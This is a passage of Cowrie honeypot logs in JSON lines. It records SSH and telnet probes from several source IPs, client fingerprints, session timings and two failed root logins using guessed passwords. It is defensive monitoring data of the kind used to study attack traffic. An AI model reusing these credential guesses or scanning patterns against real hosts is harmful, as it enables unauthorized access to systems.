{"eventid":"cowrie.session.closed","duration":16.408971786499023,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:27:15.361835Z","src_ip":"147.182.143.59","session":"9f84c6ab5a87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.523007869720459,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:27:19.490530Z","src_ip":"147.182.143.59","session":"1615f4411b44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":48486,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8ccffe58762","protocol":"ssh","message":"New connection: 47.239.15.75:48486 (159.203.135.109:22) [session: a8ccffe58762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:27:24.379808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:27:24.746477Z","src_ip":"47.239.15.75","session":"a8ccffe58762","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.43.126.168","src_port":45831,"dst_ip":"10.17.0.5","dst_port":23,"session":"151d59259f62","protocol":"telnet","message":"New connection: 68.43.126.168:45831 (10.17.0.5:23) [session: 151d59259f62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:27:26.497783Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:27:26.697057Z","src_ip":"47.239.15.75","session":"a8ccffe58762","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":34142,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b543195c4bf","protocol":"telnet","message":"New connection: 147.182.143.59:34142 (159.203.135.109:23) [session: 7b543195c4bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:27:31.889000Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":34154,"dst_ip":"159.203.135.109","dst_port":23,"session":"28758b1948a5","protocol":"telnet","message":"New connection: 147.182.143.59:34154 (159.203.135.109:23) [session: 28758b1948a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:27:32.383031Z"}
{"eventid":"cowrie.session.closed","duration":31.90066432952881,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:27:37.316452Z","src_ip":"45.58.127.90","session":"b2c5630bd2de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.43.126.168","src_port":45894,"dst_ip":"10.17.0.5","dst_port":23,"session":"d829f427c20f","protocol":"telnet","message":"New connection: 68.43.126.168:45894 (10.17.0.5:23) [session: d829f427c20f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:27:38.744414Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.63.236.79","src_port":33912,"dst_ip":"159.203.135.109","dst_port":23,"session":"05d2cc688ec0","protocol":"telnet","message":"New connection: 213.63.236.79:33912 (159.203.135.109:23) [session: 05d2cc688ec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:27:41.080422Z"}
{"eventid":"cowrie.session.closed","duration":30.64069104194641,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:27:42.172369Z","src_ip":"213.63.236.79","session":"9f8238ae302a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.63.236.79","src_port":34244,"dst_ip":"159.203.135.109","dst_port":23,"session":"5358d778adb1","protocol":"telnet","message":"New connection: 213.63.236.79:34244 (159.203.135.109:23) [session: 5358d778adb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:27:42.350545Z"}
{"eventid":"cowrie.session.closed","duration":11.289362668991089,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:27:43.178267Z","src_ip":"147.182.143.59","session":"7b543195c4bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.754764795303345,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:27:43.956015Z","src_ip":"213.63.236.79","session":"b8507834e919","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.346053838729858,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:27:45.728990Z","src_ip":"147.182.143.59","session":"28758b1948a5","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:27:46.445719Z","src_ip":"47.239.15.75","session":"65404e4df1e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":59700,"dst_ip":"159.203.135.109","dst_port":23,"session":"22e59bc1d770","protocol":"telnet","message":"New connection: 147.182.143.59:59700 (159.203.135.109:23) [session: 22e59bc1d770]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:27:50.896968Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:27:51.752421Z","src_ip":"47.239.15.75","session":"65404e4df1e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.63.236.79","src_port":36538,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f9bbb5a54f2","protocol":"telnet","message":"New connection: 213.63.236.79:36538 (159.203.135.109:23) [session: 4f9bbb5a54f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:27:54.755231Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.63.236.79","src_port":38084,"dst_ip":"159.203.135.109","dst_port":23,"session":"18a6b4d5edac","protocol":"telnet","message":"New connection: 213.63.236.79:38084 (159.203.135.109:23) [session: 18a6b4d5edac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:27:57.941251Z"}
{"eventid":"cowrie.session.closed","duration":9.329991102218628,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:00.226819Z","src_ip":"147.182.143.59","session":"22e59bc1d770","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.43.126.168","src_port":46032,"dst_ip":"10.17.0.5","dst_port":23,"session":"59ee8e7cf49f","protocol":"telnet","message":"New connection: 68.43.126.168:46032 (10.17.0.5:23) [session: 59ee8e7cf49f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:04.049323Z"}
{"eventid":"cowrie.session.closed","duration":37.959283113479614,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:04.456983Z","src_ip":"68.43.126.168","session":"151d59259f62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":41036,"dst_ip":"159.203.135.109","dst_port":23,"session":"571281bfe0fe","protocol":"telnet","message":"New connection: 147.182.143.59:41036 (159.203.135.109:23) [session: 571281bfe0fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:05.567506Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":41042,"dst_ip":"159.203.135.109","dst_port":23,"session":"eac95aeec94a","protocol":"telnet","message":"New connection: 147.182.143.59:41042 (159.203.135.109:23) [session: eac95aeec94a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:07.030590Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.63.236.79","src_port":39956,"dst_ip":"159.203.135.109","dst_port":23,"session":"3250e2c21e8e","protocol":"telnet","message":"New connection: 213.63.236.79:39956 (159.203.135.109:23) [session: 3250e2c21e8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:07.807721Z"}
{"eventid":"cowrie.session.closed","duration":31.537867307662964,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:12.618157Z","src_ip":"213.63.236.79","session":"05d2cc688ec0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.43.126.168","src_port":46100,"dst_ip":"10.17.0.5","dst_port":23,"session":"7130b40fd8af","protocol":"telnet","message":"New connection: 68.43.126.168:46100 (10.17.0.5:23) [session: 7130b40fd8af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:12.876774Z"}
{"eventid":"cowrie.session.closed","duration":31.563196659088135,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:13.913623Z","src_ip":"213.63.236.79","session":"5358d778adb1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:14.180932Z","src_ip":"47.239.15.75","session":"a8ccffe58762","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":42502,"dst_ip":"159.203.135.109","dst_port":22,"session":"cfe6ed8b91ef","protocol":"ssh","message":"New connection: 47.239.15.75:42502 (159.203.135.109:22) [session: cfe6ed8b91ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:14.567639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:15.215223Z","src_ip":"47.239.15.75","session":"cfe6ed8b91ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.69580364227295,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:15.726283Z","src_ip":"147.182.143.59","session":"eac95aeec94a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"52.1","message":"Connection lost after 52.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:16.461849Z","src_ip":"47.239.15.75","session":"a8ccffe58762","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.348855972290039,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:16.916245Z","src_ip":"147.182.143.59","session":"571281bfe0fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"40.124.180.92","src_port":54910,"dst_ip":"159.203.135.109","dst_port":22,"session":"191158b0c9d3","protocol":"ssh","message":"New connection: 40.124.180.92:54910 (159.203.135.109:22) [session: 191158b0c9d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:23.364478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:23.432493Z","src_ip":"40.124.180.92","session":"191158b0c9d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:23.436222Z","src_ip":"40.124.180.92","session":"191158b0c9d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.124.180.92","src_port":54922,"dst_ip":"159.203.135.109","dst_port":22,"session":"19e3853d231e","protocol":"ssh","message":"New connection: 40.124.180.92:54922 (159.203.135.109:22) [session: 19e3853d231e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:24.202637Z"}
{"eventid":"cowrie.client.version","version":"MGLNDD_159.203.135.109_22","message":"Remote SSH version: MGLNDD_159.203.135.109_22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:24.345512Z","src_ip":"40.124.180.92","session":"19e3853d231e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:24.351063Z","src_ip":"40.124.180.92","session":"19e3853d231e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":38814,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff43c3239438","protocol":"telnet","message":"New connection: 147.182.143.59:38814 (159.203.135.109:23) [session: ff43c3239438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:24.675593Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:24.781869Z","src_ip":"47.239.15.75","session":"cfe6ed8b91ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.46225595474243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:25.217349Z","src_ip":"213.63.236.79","session":"4f9bbb5a54f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.115505695343018,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:29.056599Z","src_ip":"213.63.236.79","session":"18a6b4d5edac","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"eve","message":"login attempt [root/eve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:29.645096Z","src_ip":"47.239.15.75","session":"cfe6ed8b91ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.43.126.168","src_port":46161,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca32ec0bffed","protocol":"telnet","message":"New connection: 68.43.126.168:46161 (10.17.0.5:23) [session: ca32ec0bffed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:29.968689Z"}
{"eventid":"cowrie.session.closed","duration":"16.7","message":"Connection lost after 16.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:31.318342Z","src_ip":"47.239.15.75","session":"cfe6ed8b91ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":49020,"dst_ip":"159.203.135.109","dst_port":23,"session":"db3f4111b569","protocol":"telnet","message":"New connection: 147.182.143.59:49020 (159.203.135.109:23) [session: db3f4111b569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:31.730111Z"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:33.433118Z","src_ip":"40.124.180.92","session":"191158b0c9d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58082,"dst_ip":"10.17.0.5","dst_port":23,"session":"90d9243291d4","protocol":"telnet","message":"New connection: 45.58.127.90:58082 (10.17.0.5:23) [session: 90d9243291d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:33.504645Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.63.236.79","src_port":45002,"dst_ip":"159.203.135.109","dst_port":23,"session":"91e2a0dff727","protocol":"telnet","message":"New connection: 213.63.236.79:45002 (159.203.135.109:23) [session: 91e2a0dff727]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:36.041400Z"}
{"eventid":"cowrie.session.closed","duration":11.38715934753418,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:36.062605Z","src_ip":"147.182.143.59","session":"ff43c3239438","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.48769497871399,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:37.232016Z","src_ip":"68.43.126.168","session":"d829f427c20f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.527172803878784,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:38.334728Z","src_ip":"213.63.236.79","session":"3250e2c21e8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":33080,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f737862d52b","protocol":"ssh","message":"New connection: 47.239.15.75:33080 (159.203.135.109:22) [session: 7f737862d52b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:38.555335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:28:38.855577Z","src_ip":"47.239.15.75","session":"7f737862d52b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com